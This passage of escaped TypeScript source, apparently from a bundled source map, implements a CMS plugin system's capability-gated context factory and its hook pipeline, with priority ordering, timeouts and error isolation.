slash\n\t\tlocale: options.locale ?? \"en\",\n\t};\n}\n\n/**\n * Create a URL helper that generates absolute URLs from relative paths.\n * Validates that path starts with \"/\" and rejects protocol-relative paths (\"//\").\n */\nexport function createUrlHelper(siteUrl: string): (path: string) => string {\n\tconst base = siteUrl.replace(TRAILING_SLASH_RE, \"\"); // strip trailing slash\n\n\treturn (path: string): string => {\n\t\tif (!path.startsWith(\"/\")) {\n\t\t\tthrow new Error(`URL path must start with \"/\", got: \"${path}\"`);\n\t\t}\n\t\tif (path.startsWith(\"//\")) {\n\t\t\tthrow new Error(`URL path must not be protocol-relative, got: \"${path}\"`);\n\t\t}\n\t\treturn `${base}${path}`;\n\t};\n}\n\n// =============================================================================\n// User Access\n// =============================================================================\n\n/**\n * Convert a UserRepository user to the plugin-facing UserInfo shape.\n * Strips sensitive fields (avatarUrl, emailVerified, data).\n */\nfunction toUserInfo(user: {\n\tid: string;\n\temail: string;\n\tname: string | null;\n\trole: number;\n\tcreatedAt: string;\n}): UserInfo {\n\treturn {\n\t\tid: user.id,\n\t\temail: user.email,\n\t\tname: user.name,\n\t\trole: user.role,\n\t\tcreatedAt: user.createdAt,\n\t};\n}\n\n/**\n * Create read-only user access for plugins.\n * Excludes sensitive fields (password hashes, sessions, passkeys, avatar URL, data).\n */\nexport function createUserAccess(db: Kysely<Database>): UserAccess {\n\tconst userRepo = new UserRepository(db);\n\n\treturn {\n\t\tasync get(id: string): Promise<UserInfo | null> {\n\t\t\tconst user = await userRepo.findById(id);\n\t\t\tif (!user) return null;\n\t\t\treturn toUserInfo(user);\n\t\t},\n\n\t\tasync getByEmail(email: string): Promise<UserInfo | null> {\n\t\t\tconst user = await userRepo.findByEmail(email);\n\t\t\tif (!user) return null;\n\t\t\treturn toUserInfo(user);\n\t\t},\n\n\t\tasync list(opts?: {\n\t\t\trole?: number;\n\t\t\tlimit?: number;\n\t\t\tcursor?: string;\n\t\t}): Promise<{ items: UserInfo[]; nextCursor?: string }> {\n\t\t\tconst result = await userRepo.findMany({\n\t\t\t\trole: opts?.role as 10 | 20 | 30 | 40 | 50 | undefined,\n\t\t\t\tcursor: opts?.cursor,\n\t\t\t\tlimit: opts?.limit,\n\t\t\t});\n\n\t\t\treturn {\n\t\t\t\titems: result.items.map(toUserInfo),\n\t\t\t\tnextCursor: result.nextCursor,\n\t\t\t};\n\t\t},\n\t};\n}\n\n// =============================================================================\n// Plugin Context Factory\n// =============================================================================\n\nexport interface PluginContextFactoryOptions {\n\tdb: Kysely<Database>;\n\t/**\n\t * Storage backend for direct media uploads.\n\t * If not provided, upload() will throw.\n\t */\n\tstorage?: Storage;\n\t/**\n\t * Function to generate upload URLs for media.\n\t * If not provided, media write operations will throw.\n\t */\n\tgetUploadUrl?: (\n\t\tfilename: string,\n\t\tcontentType: string,\n\t) => Promise<{ uploadUrl: string; mediaId: string }>;\n\t/**\n\t * Site information for ctx.site and ctx.url().\n\t * If not provided, site info will have empty defaults.\n\t */\n\tsiteInfo?: SiteInfoOptions;\n\t/**\n\t * Callback to notify the cron scheduler that the next due time may have changed.\n\t * If not provided, ctx.cron will not be available.\n\t */\n\tcronReschedule?: () => void;\n\t/**\n\t * Email pipeline instance for ctx.email.\n\t * If not provided (or no provider configured), ctx.email will be undefined.\n\t */\n\temailPipeline?: EmailPipeline;\n\t/**\n\t * Pre-resolved list of trusted proxy header names (from the runtime\n\t * `EmDashConfig.trustedProxyHeaders` or the env var). Plugin route\n\t * handlers pass this to `extractRequestMeta` so plugins see the same\n\t * client IP the core auth path does.\n\t */\n\ttrustedProxyHeaders?: string[];\n}\n\n/**\n * Factory for creating plugin contexts\n */\nexport class PluginContextFactory {\n\tprivate optionsRepo: OptionsRepository;\n\tprivate db: Kysely<Database>;\n\tprivate storage?: Storage;\n\tprivate getUploadUrl?: (\n\t\tfilename: string,\n\t\tcontentType: string,\n\t) => Promise<{ uploadUrl: string; mediaId: string }>;\n\tprivate site: SiteInfo;\n\tprivate urlHelper: (path: string) => string;\n\tprivate cronReschedule?: () => void;\n\tprivate emailPipeline?: EmailPipeline;\n\n\tconstructor(options: PluginContextFactoryOptions) {\n\t\tthis.db = options.db;\n\t\tthis.optionsRepo = new OptionsRepository(options.db);\n\t\tthis.storage = options.storage;\n\t\tthis.getUploadUrl = options.getUploadUrl;\n\t\tthis.site = createSiteInfo(options.siteInfo ?? {});\n\t\tthis.urlHelper = createUrlHelper(this.site.url);\n\t\tthis.cronReschedule = options.cronReschedule;\n\t\tthis.emailPipeline = options.emailPipeline;\n\t}\n\n\t/**\n\t * Create the unified plugin context\n\t */\n\tcreateContext(plugin: ResolvedPlugin): PluginContext {\n\t\tconst capabilities = new Set(plugin.capabilities);\n\n\t\t// Always available\n\t\tconst kv = createKVAccess(this.optionsRepo, plugin.id);\n\t\tconst log = createLogAccess(plugin.id);\n\t\tconst storage = createStorageAccess(this.db, plugin.id, plugin.storage);\n\n\t\t// Capability-gated: content\n\t\t// Note: capabilities reach this point already normalized to the\n\t\t// canonical names by definePlugin / adaptSandboxEntry. Deprecated\n\t\t// names (\"read:content\", \"write:content\") never appear here.\n\t\tlet content: ContentAccess | ContentAccessWithWrite | undefined;\n\t\tif (capabilities.has(\"content:write\")) {\n\t\t\tcontent = createContentAccessWithWrite(this.db);\n\t\t} else if (capabilities.has(\"content:read\")) {\n\t\t\tcontent = createContentAccess(this.db);\n\t\t}\n\n\t\t// Capability-gated: media\n\t\tlet media: MediaAccess | MediaAccessWithWrite | undefined;\n\t\tif (capabilities.has(\"media:write\") && this.getUploadUrl) {\n\t\t\tmedia = createMediaAccessWithWrite(this.db, this.getUploadUrl, this.storage);\n\t\t} else if (capabilities.has(\"media:read\")) {\n\t\t\tmedia = createMediaAccess(this.db);\n\t\t}\n\n\t\t// Capability-gated: http\n\t\tlet http: HttpAccess | undefined;\n\t\tif (capabilities.has(\"network:request:unrestricted\")) {\n\t\t\thttp = createUnrestrictedHttpAccess(plugin.id);\n\t\t} else if (capabilities.has(\"network:request\")) {\n\t\t\thttp = createHttpAccess(plugin.id, plugin.allowedHosts);\n\t\t}\n\n\t\t// Capability-gated: users\n\t\tlet users: UserAccess | undefined;\n\t\tif (capabilities.has(\"users:read\")) {\n\t\t\tusers = createUserAccess(this.db);\n\t\t}\n\n\t\t// Cron access ��� always available (scoped to plugin), but only if\n\t\t// the runtime provided a reschedule callback (i.e. cron is wired up).\n\t\tlet cron: CronAccess | undefined;\n\t\tif (this.cronReschedule) {\n\t\t\tcron = new CronAccessImpl(this.db, plugin.id, this.cronReschedule);\n\t\t}\n\n\t\t// Email access — requires email:send capability AND a configured provider\n\t\tlet email: EmailAccess | undefined;\n\t\tif (capabilities.has(\"email:send\") && this.emailPipeline?.isAvailable()) {\n\t\t\tconst pipeline = this.emailPipeline;\n\t\t\tconst pluginId = plugin.id;\n\t\t\temail = {\n\t\t\t\tsend: (message) => pipeline.send(message, pluginId),\n\t\t\t};\n\t\t}\n\n\t\treturn {\n\t\t\tplugin: {\n\t\t\t\tid: plugin.id,\n\t\t\t\tversion: plugin.version,\n\t\t\t},\n\t\t\tstorage,\n\t\t\tkv,\n\t\t\tcontent,\n\t\t\tmedia,\n\t\t\thttp,\n\t\t\tlog,\n\t\t\tsite: this.site,\n\t\t\turl: this.urlHelper,\n\t\t\tusers,\n\t\t\tcron,\n\t\t\temail,\n\t\t};\n\t}\n}\n\n/**\n * Create a plugin context for a resolved plugin\n */\nexport function createPluginContext(\n\toptions: PluginContextFactoryOptions,\n\tplugin: ResolvedPlugin,\n): PluginContext {\n\tconst factory = new PluginContextFactory(options);\n\treturn factory.createContext(plugin);\n}\n","/**\n * Plugin Hooks System v2\n *\n * Uses the unified PluginContext for all hooks.\n * Manages lifecycle hooks with:\n * - Deterministic ordering via priority + dependencies\n * - Timeout enforcement\n * - Error isolation\n * - Observability\n *\n */\n\nimport { PluginContextFactory, type PluginContextFactoryOptions } from \"./context.js\";\nimport type {\n\tResolvedPlugin,\n\tResolvedHook,\n\tPluginContext,\n\tContentHookEvent,\n\tContentDeleteEvent,\n\tContentPublishStateChangeEvent,\n\tMediaUploadEvent,\n\tMediaAfterUploadEvent,\n\tLifecycleEvent,\n\tUninstallEvent,\n\tCronEvent,\n\tEmailBeforeSendEvent,\n\tEmailBeforeSendHandler,\n\tEmailDeliverHandler,\n\tEmailAfterSendHandler,\n\tContentBeforeSaveHandler,\n\tContentAfterSaveHandler,\n\tContentBeforeDeleteHandler,\n\tContentAfterDeleteHandler,\n\tContentAfterPublishHandler,\n\tContentAfterUnpublishHandler,\n\tMediaBeforeUploadHandler,\n\tMediaAfterUploadHandler,\n\tLifecycleHandler,\n\tUninstallHandler,\n\tCronHandler,\n\tEmailMessage,\n\tCommentBeforeCreateEvent,\n\tCommentBeforeCreateHandler,\n\tCommentModerateHandler,\n\tCommentAfterCreateEvent,\n\tCommentAfterCreateHandler,\n\tCommentAfterModerateEvent,\n\tCommentAfterModerateHandler,\n\tPageMetadataEvent,\n\tPageMetadataHandler,\n\tPageMetadataContribution,\n\tPageFragmentEvent,\n\tPageFragmentHandler,\n\tPageFragmentContribution,\n} from \"./types.js\";\n\n// Hook name type for v2\ntype HookNameV2 =\n\t| \"plugin:install\"\n\t| \"plugin:activate\"\n\t| \"plugin:deactivate\"\n\t| \"plugin:uninstall\"\n\t| \"content:beforeSave\"\n\t| \"content:afterSave\"\n\t| \"content:beforeDelete\"\n\t| \"content:afterDelete\"\n\t| \"content:afterPublish\"\n\t| \"content:afterUnpublish\"\n\t| \"media:beforeUpload\"\n\t| \"media:afterUpload\"\n\t| \"cron\"\n\t| \"email:beforeSend\"\n\t| \"email:deliver\"\n\t| \"email:afterSend\"\n\t| \"comment:beforeCreate\"\n\t| \"comment:moderate\"\n\t| \"comment:afterCreate\"\n\t| \"comment:afterModerate\"\n\t| \"page:metadata\"\n\t| \"page:fragments\";\n\n/**\n * Map from hook name to handler type — used for type-safe hook retrieval\n */\ninterface HookHandlerMap {\n\t\"plugin:install\": LifecycleHandler;\n\t\"plugin:activate\": LifecycleHandler;\n\t\"plugin:deactivate\": LifecycleHandler;\n\t\"plugin:uninstall\": UninstallHandler;\n\t\"content:beforeSave\": ContentBeforeSaveHandler;\n\t\"content:afterSave\": ContentAfterSaveHandler;\n\t\"content:beforeDelete\": ContentBeforeDeleteHandler;\n\t\"content:afterDelete\": ContentAfterDeleteHandler;\n\t\"content:afterPublish\": ContentAfterPublishHandler;\n\t\"content:afterUnpublish\": ContentAfterUnpublishHandler;\n\t\"media:beforeUpload\": MediaBeforeUploadHandler;\n\t\"media:afterUpload\": MediaAfterUploadHandler;\n\tcron: CronHandler;\n\t\"email:beforeSend\": EmailBeforeSendHandler;\n\t\"email:deliver\": EmailDeliverHandler;\n\t\"email:afterSend\": EmailAfterSendHandler;\n\t\"comment:beforeCreate\": CommentBeforeCreateHandler;\n\t\"comment:moderate\": CommentModerateHandler;\n\t\"comment:afterCreate\": CommentAfterCreateHandler;\n\t\"comment:afterModerate\": CommentAfterModerateHandler;\n\t\"page:metadata\": PageMetadataHandler;\n\t\"page:fragments\": PageFragmentHandler;\n}\n\n/**\n * Hook execution result\n */\nexport interface HookResult<T> {\n\tsuccess: boolean;\n\tvalue?: T;\n\terror?: Error;\n\tpluginId: string;\n\tduration: number;\n}\n\n/**\n * Hook pipeline for executing hooks in order\n */\nexport class HookPipeline {\n\tprivate hooks: Map<HookNameV2, Array<ResolvedHook<unknown>>> = new Map();\n\tprivate pluginMap: Map<string, ResolvedPlugin> = new Map();\n\tprivate contextFactory: PluginContextFactory | null = null;\n\t/** Stored so setContextFactory can merge incrementally. */\n\tprivate contextFactoryOptions: Partial<PluginContextFactoryOptions> = {};\n\n\t/** Hook names where at least one handler declared exclusive: true */\n\tprivate exclusiveHookNames: Set<string> = new Set();\n\n\t/**\n\t * Selected provider plugin ID for each exclusive hook.\n\t * Set by the PluginManager after resolution.\n\t */\n\tprivate exclusiveSelections: Map<string, string> = new Map();\n\n\tconstructor(plugins: ResolvedPlugin[], factoryOptions?: PluginContextFactoryOptions) {\n\t\tif (factoryOptions) {\n\t\t\tthis.contextFactory = new PluginContextFactory(factoryOptions);\n\t\t\tthis.contextFactoryOptions = { ...factoryOptions };\n\t\t}\n\n\t\tfor (const plugin of plugins) {\n\t\t\tthis.pluginMap.set(plugin.id, plugin);\n\t\t}\n\t\tthis.registerPlugins(plugins);\n\t}\n\n\t/**\n\t * Set or update the context factory options.\n\t *\n\t * When called on a pipeline that already has a factory, the new options\n\t * are merged on top of the existing ones so that callers don't need to\n\t * repeat every field (e.g. adding `cronReschedule` without losing\n\t * `storage` / `getUploadUrl`).\n\t */\n\tsetContextFactory(options: Partial<PluginContextFactoryOptions>): void {\n\t\tconst merged = { ...this.contextFactoryOptions, ...options };\n\t\t// The first call must include `db`; subsequent calls merge incrementally.\n\t\tthis.contextFactory = new PluginContextFactory(merged as PluginContextFactoryOptions);\n\t\tthis.contextFactoryOptions = merged;\n\t}\n\n\t/**\n\t * Get context for a plugin\n\t */\n\tprivate getContext(pluginId: string): PluginContext {\n\t\tconst plugin = this.pluginMap.get(pluginId);\n\t\tif (!plugin) {\n\t\t\tthrow new Error(`Plugin \"${pluginId}\" not found`);\n\t\t}\n\t\tif (!this.contextFactory) {\n\t\t\tthrow new Error(\"Context factory not initialized - call setContextFactory first\");\n\t\t}\n\t\treturn this.contextFactory.createContext(plugin);\n\t}\n\n\t/**\n\t * Get typed hooks for a specific hook name.\n\t * The internal map stores ResolvedHook<unknown>, but we know each name\n\t * maps to a specific handler type via HookHandlerMap.\n\t *\n\t * Exclusive hooks that have a selected provider are filtered out — they\n\t * should only run via invokeExclusiveHook(), not in the regular pipeline.\n\t */\n\tprivate getTypedHooks<N extends HookNameV2>(name: N): Array<ResolvedHook<HookHandlerMap[N]>> {\n\t\t// The map stores hooks as ResolvedHook<unknown>. Each hook name corresponds\n\t\t// to a specific handler type. The cast here is the single point where we\n\t\t// bridge the untyped map to the typed API — callers never need to cast.\n\t\tconst all = (this.hooks.get(name) ?? []) as Array<ResolvedHook<HookHandlerMap[N]>>;\n\n\t\t// If this hook has an exclusive selection, filter out all exclusive handlers\n\t\t// so they don't run in the regular pipeline\n\t\tif (this.exclusiveSelections.has(name)) {\n\t\t\treturn all.filter((h) => !h.exclusive);\n\t\t}\n\n\t\treturn all;\n\t}\n\n\t/**\n\t * Register all hooks from plugins.\n\t *\n\t * Registers each hook name individually to preserve type safety. The\n\t * internal map stores ResolvedHook<unknown> since it's keyed by string,\n\t * but getTypedHooks() restores the correct handler type on retrieval.\n\t */\n\tprivate registerPlugins(plugins: ResolvedPlugin[]): void {\n\t\tfor (const plugin of plugins) {\n\t\t\tthis.registerPluginHook(plugin, \"plugin:install\");\n\t\t\tthis.registerPluginHook(plugin, \"plugin:activate\");\n\t\t\tthis.registerPluginHook(plugin, \"plugin:deactivate\");\n\t\t\tthis.registerPluginHook(plugin, \"plugin:uninstall\");\n\t\t\tthis.registerPluginHook(plugin, \"content:beforeSave\");\n\t\t\tthis.registerPluginHook(plugin, \"content:afterSave\");\n\t\t\tthis.registerPluginHook(plugin, \"content:beforeDelete\");\n\t\t\tthis.registerPluginHook(plugin, \"content:afterDelete\");\n\t\t\tthis.registerPluginHook(plugin, \"content:afterPublish\");\n\t\t\tthis.registerPluginHook(plugin, \"content:afterUnpublish\");\n\t\t\tthis.registerPluginHook(plugin, \"media:beforeUpload\");\n\t\t\tthis.registerPluginHook(plugin, \"media:afterUpload\");\n\t\t\tthis.registerPluginHook(plugin, \"cron\");\n\t\t\tthis.registerPluginHook(plugin, \"email:beforeSend\");\n\t\t\tthis.registerPluginHook(plugin, \"email:deliver\");\n\t\t\tthis.registerPluginHook(plugin, \"email:afterSend\");\n\t\t\tthis.registerPluginHook(plugin, \"comment:beforeCreate\");\n\t\t\tthis.registerPluginHook(plugin, \"comment:moderate\");\n\t\t\tthis.registerPluginHook(plugin, \"comment:afterCreate\");\n\t\t\tthis.registerPluginHook(plugin, \"comment:afterModerate\");\n\t\t\tthis.registerPluginHook(plugin, \"page:metadata\");\n\t\t\tthis.registerPluginHook(plugin, \"page:fragments\");\n\t\t}\n\n\t\t// Sort hooks by priority and dependencies\n\t\tfor (const [hookName, hooks] of this.hooks) {\n\t\t\tthis.hooks.set(hookName, this.sortHooks(hooks));\n\t\t}\n\t}\n\n\t/**\n\t * Maps hook names to the capability required to register them.\n\t *\n\t * Hooks not listed here have no capability requirement (e.g. lifecycle\n\t * hooks, cron). Any plugin declaring a listed hook without the required\n\t * capability will have that hook silently skipped at registration time.\n\t */\n\tprivate static readonly HOOK_REQUIRED_CAPABILITY: ReadonlyMap<string, string> = new Map([\n\t\t// Email — registering email:beforeSend/afterSend/deliver requires the\n\t\t// matching `hooks.email-*:register` capability. These are distinct\n\t\t// from `email:send` (which gates ctx.email) so that \"this plugin\n\t\t// reads/writes email events\" is visible separately from \"this\n\t\t// plugin can send email\".\n\t\t[\"email:beforeSend\", \"hooks.email-events:register\"],\n\t\t[\"email:afterSend\", \"hooks.email-events:register\"],\n\t\t[\"email:deliver\", \"hooks.email-transport:register\"],\n\t\t// Content — beforeSave can mutate content, so requires content:write.\n\t\t// afterSave is read-only notification, so content:read suffices.\n\t\t[\"content:beforeSave\", \"content:write\"],\n\t\t[\"content:afterSave\", \"content:read\"],\n\t\t[\"content:beforeDelete\", \"content:read\"],\n\t\t[\"content:afterDelete\", \"content:read\"],\n\t\t[\"content:afterPublish\", \"content:read\"],\n\t\t[\"content:afterUnpublish\", \"content:read\"],\n\t\t// Media\n\t\t[\"media:beforeUpload\", \"media:write\"],\n\t\t[\"media:afterUpload\", \"media:read\"],\n\t\t// Comments — hooks expose author email, IP hash, user agent\n\t\t[\"comment:beforeCreate\", \"users:read\"],\n\t\t[\"comment:moderate\", \"users:read\"],\n\t\t[\"comment:afterCreate\", \"users:read\"],\n\t\t[\"comment:afterModerate\", \"users:read\"],\n\t\t// Page fragments — can inject arbitrary scripts into every public page\n\t\t[\"page:fragments\", \"hooks.page-fragments:register\"],\n\t]);\n\n\t/**\n\t * Register a single plugin's hook by name\n\t */\n\tprivate registerPluginHook(plugin: ResolvedPlugin, name: HookNameV2): void {\n\t\tconst hook = plugin.hooks[name];\n\t\tif (!hook) return;\n\n\t\t// Hooks that expose sensitive data or inject into pages require specific\n\t\t// capabilities. Plugins without the required capability have the hook\n\t\t// silently skipped to prevent unauthorized data access or page injection.\n\t\tconst requiredCapability = HookPipeline.HOOK_REQUIRED_CAPABILITY.get(name);\n\t\tif (requiredCapability && !plugin.capabilities.includes(requiredCapability as never)) {\n\t\t\tconsole.warn(\n\t\t\t\t`[hooks] Plugin \"${plugin.id}\" declares ${name} hook without ${requiredCapability} capability — skipping`,\n\t\t\t);\n\t\t\treturn;\n\t\t}\n\n\t\t// Track exclusive hooks\n\t\tif (hook.exclusive) {\n\t\t\tthis.exclusiveHookNames.add(name);\n\t\t}\n\n\t\t// ResolvedHook<SpecificHandler> is assignable to ResolvedHook<unknown>\n\t\t// because the handler property is covariant\n\t\tthis.registerHook(name, hook);\n\t}\n\n\t/**\n\t * Register a single hook\n\t */\n\tprivate registerHook(name: HookNameV2, hook: ResolvedHook<unknown>): void {\n\t\tconst existing = this.hooks.get(name) || [];\n\t\texisting.push(hook);\n\t\tthis.hooks.set(name, existing);\n\t}\n\n\t/**\n\t * Sort hooks by priority and dependencies\n\t */\n\tprivate sortHooks(hooks: Array<ResolvedHook<unknown>>): Array<ResolvedHook<unknown>> {\n\t\tconst sorted: Array<ResolvedHook<unknown>> = [];\n\t\tconst remaining = [...hooks];\n\n\t\t// Simple topological sort with priority as tiebreaker\n\t\twhile (remaining.length > 0) {\n\t\t\t// Find hooks whose dependencies are satisfied\n\t\t\tconst ready = remaining.filter((hook) =>\n\t\t\t\thook.dependencies.every((dep) => sorted.some((s) => s.pluginId === dep)),\n\t\t\t);\n\n\t\t\tif (ready.length === 0) {\n\t\t\t\t// Circular dependency or missing dependency - log warning and fall back to priority\n\t\t\t\tconst pluginIds = remaining.map((h) => h.pluginId).join(\", \");\n\t\t\t\tconsole.warn(\n\t\t\t\t\t`[hooks] Hook dependency cycle or missing dependency detected among plugins: ${pluginIds}. Falling back to priority order.`,\n\t\t\t\t);\n\t\t\t\tremaining.sort((a, b) => a.priority - b.priority);\n\t\t\t\tsorted.push(...remaining);\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t// Sort ready hooks by priority and add the first one\n\t\t\tready.sort((a, b) => a.priority - b.priority);\n\t\t\tconst next = ready[0];\n\t\t\tsorted.push(next);\n\t\t\tremaining.splice(remaining.indexOf(next), 1);\n\t\t}\n\n\t\treturn sorted;\n\t}\n\n\t/**\n\t * Execute a hook with timeout\n\t */\n\tprivate async executeWithTimeout<T>(fn: () => Promise<T>, timeout: number): Promise<T> {\n\t\tlet timer: ReturnType<typeof setTimeout>;\n\t\tconst timeoutPromise = new Promise<T>(\n\t\t\t(_, reject) =>\n\t\t\t\t(timer = setTimeout(() => reject(new Error(`Hook timeout after ${timeout}ms`)), timeout)),\n\t\t);\n\t\ttry {\n\t\t\treturn await Promise.race([fn(), timeoutPromise]);\n\t\t} finally {\n\t\t\tclearTimeout(timer!);\n\t\t}\n\t}\n\n\t// =========================================================================\n\t// Lifecycle Hooks\n\t// =========================================================================\n\n\t/**\n\t * Run plugin:install hooks\n\t */\n\tasync runPluginInstall(pluginId: string): Promise<HookResult<void>[]> {\n\t\treturn this.runLifecycleHook(\"plugin:install\", pluginId);\n\t}\n\n\t/**\n\t * Run plugin:activate hooks\n\t */\n\tasync runPluginActivate(pluginId: string): Promise<HookResult<void>[]> {\n\t\treturn this.runLifecycleHook(\"plugin:activate\", pluginId);\n\t}\n\n\t/**\n\t * Run plugin:deactivate hooks\n\t */\n\tasync runPluginDeactivate(pluginId: string): Promise<HookResult<void>[]> {\n\t\treturn this.runLifecycleHook(\"plugin:deactivate\", pluginId);\n\t}\n\n\t/**\n\t * Run plugin:uninstall hooks\n\t */\n\tasync runPluginUninstall(pluginId: string, deleteData: boolean): Promise<HookResult<void>[]> {\n\t\tconst hooks = this.getTypedHooks(\"plugin:uninstall\");\n\t\tconst results: HookResult<void>[] = [];\n\n\t\t// Only run the hook for the specific plugin being uninstalled\n\t\tconst hook = hooks.find((h) => h.pluginId === pluginId);\n\t\tif (!hook) return results;\n\n\t\tconst { handler } = hook;\n\t\tconst event: UninstallEvent = { deleteData };\n\t\tconst ctx = this.getContext(pluginId);\n\t\tconst start = Date.now();\n\n\t\ttry {\n\t\t\tawait this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\tresults.push({\n\t\t\t\tsuccess: true,\n\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\tduration: Date.now() - start,\n\t\t\t});\n\t\t} catch (error) {\n\t\t\tresults.push({\n\t\t\t\tsuccess: false,\n\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\tduration: Date.now() - start,\n\t\t\t});\n\t\t}\n\n\t\treturn results;\n\t}\n\n\tprivate async runLifecycleHook(\n\t\thookName: \"plugin:install\" | \"plugin:activate\" | \"plugin:deactivate\",\n\t\tpluginId: string,\n\t): Promise<HookResult<void>[]> {\n\t\tconst hooks = this.getTypedHooks(hookName);\n\t\tconst results: HookResult<void>[] = [];\n\n\t\t// Only run the hook for the specific plugin\n\t\tconst hook = hooks.find((h) => h.pluginId === pluginId);\n\t\tif (!hook) return results;\n\n\t\tconst { handler } = hook;\n\t\tconst event: LifecycleEvent = {};\n\t\tconst ctx = this.getContext(pluginId);\n\t\tconst start = Date.now();\n\n\t\ttry {\n\t\t\tawait this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\tresults.push({\n\t\t\t\tsuccess: true,\n\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\tduration: Date.now() - start,\n\t\t\t});\n\t\t} catch (error) {\n\t\t\tresults.push({\n\t\t\t\tsuccess: false,\n\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\tduration: Date.now() - start,\n\t\t\t});\n\t\t}\n\n\t\treturn results;\n\t}\n\n\t// =========================================================================\n\t// Content Hooks\n\t// =========================================================================\n\n\t/**\n\t * Run content:beforeSave hooks\n\t * Returns modified content from the pipeline\n\t */\n\tasync runContentBeforeSave(\n\t\tcontent: Record<string, unknown>,\n\t\tcollection: string,\n\t\tisNew: boolean,\n\t): Promise<{\n\t\tcontent: Record<string, unknown>;\n\t\tresults: HookResult<Record<string, unknown>>[];\n\t}> {\n\t\tconst hooks = this.getTypedHooks(\"content:beforeSave\");\n\t\tconst results: HookResult<Record<string, unknown>>[] = [];\n\t\tlet currentContent = content;\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst event: ContentHookEvent = {\n\t\t\t\tcontent: currentContent,\n\t\t\t\tcollection,\n\t\t\t\tisNew,\n\t\t\t};\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\t\t\tconst start = Date.now();\n\n\t\t\ttry {\n\t\t\t\tconst result = await this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\t\t// Handler can return modified content or void (keep current)\n\t\t\t\tif (result !== undefined) {\n\t\t\t\t\tcurrentContent = result;\n\t\t\t\t}\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: true,\n\t\t\t\t\tvalue: currentContent,\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\t\t\t} catch (error) {\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\n\t\t\t\tif (hook.errorPolicy === \"abort\") {\n\t\t\t\t\tthrow error;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn { content: currentContent, results };\n\t}\n\n\t/**\n\t * Run content:afterSave hooks\n\t */\n\tasync runContentAfterSave(\n\t\tcontent: Record<string, unknown>,\n\t\tcollection: string,\n\t\tisNew: boolean,\n\t): Promise<HookResult<void>[]> {\n\t\tconst hooks = this.getTypedHooks(\"content:afterSave\");\n\t\tconst results: HookResult<void>[] = [];\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst event: ContentHookEvent = { content, collection, isNew };\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\t\t\tconst start = Date.now();\n\n\t\t\ttry {\n\t\t\t\tawait this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: true,\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\t\t\t} catch (error) {\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\n\t\t\t\tif (hook.errorPolicy === \"abort\") {\n\t\t\t\t\tthrow error;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn results;\n\t}\n\n\t/**\n\t * Run content:beforeDelete hooks\n\t * Returns whether deletion is allowed\n\t */\n\tasync runContentBeforeDelete(\n\t\tid: string,\n\t\tcollection: string,\n\t): Promise<{ allowed: boolean; results: HookResult<boolean>[] }> {\n\t\tconst hooks = this.getTypedHooks(\"content:beforeDelete\");\n\t\tconst results: HookResult<boolean>[] = [];\n\t\tlet allowed = true;\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst event: ContentDeleteEvent = { id, collection, permanent: false };\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\t\t\tconst start = Date.now();\n\n\t\t\ttry {\n\t\t\t\tconst result = await this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\t\t// Handler returns false to block, true or void to allow\n\t\t\t\tif (result === false) {\n\t\t\t\t\tallowed = false;\n\t\t\t\t}\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: true,\n\t\t\t\t\tvalue: result !== false,\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\t\t\t} catch (error) {\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: error instanceof Error ? error : new Error(String(error)),\n\t\t\t\t\tpluginId: hook.pluginId,\n\t\t\t\t\tduration: Date.now() - start,\n\t\t\t\t});\n\n\t\t\t\tif (hook.errorPolicy === \"abort\") {\n\t\t\t\t\tthrow error;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn { allowed, results };\n\t}\n\n\t/**\n\t * Run content:afterDelete hooks\n\t */\n\tasync runContentAfterDelete(\n\t\tid: string,\n\t\tcollection: string,\n\t\tpermanent: boolean,\n\t): Promise<HookResult<void>[]> {\n\t\tconst hooks = this.getTypedHooks(\"content:afterDelete\");\n\t\tconst results: HookResult<void>[] = [];\n\n\t\tfor (const hook of hooks) {\n\t\t\tconst { handler } = hook;\n\t\t\tconst event: ContentDeleteEvent = { id, collection, permanent };\n\t\t\tconst ctx = this.getContext(hook.pluginId);\n\t\t\tconst start = Date.now();\n\n\t\t\ttry {\n\t\t\t\tawait this.executeWithTimeout(() => handler(event, ctx), hook.timeout);\n\t\t\t\tresults.push({\n\t\t\t\t\tsuccess: 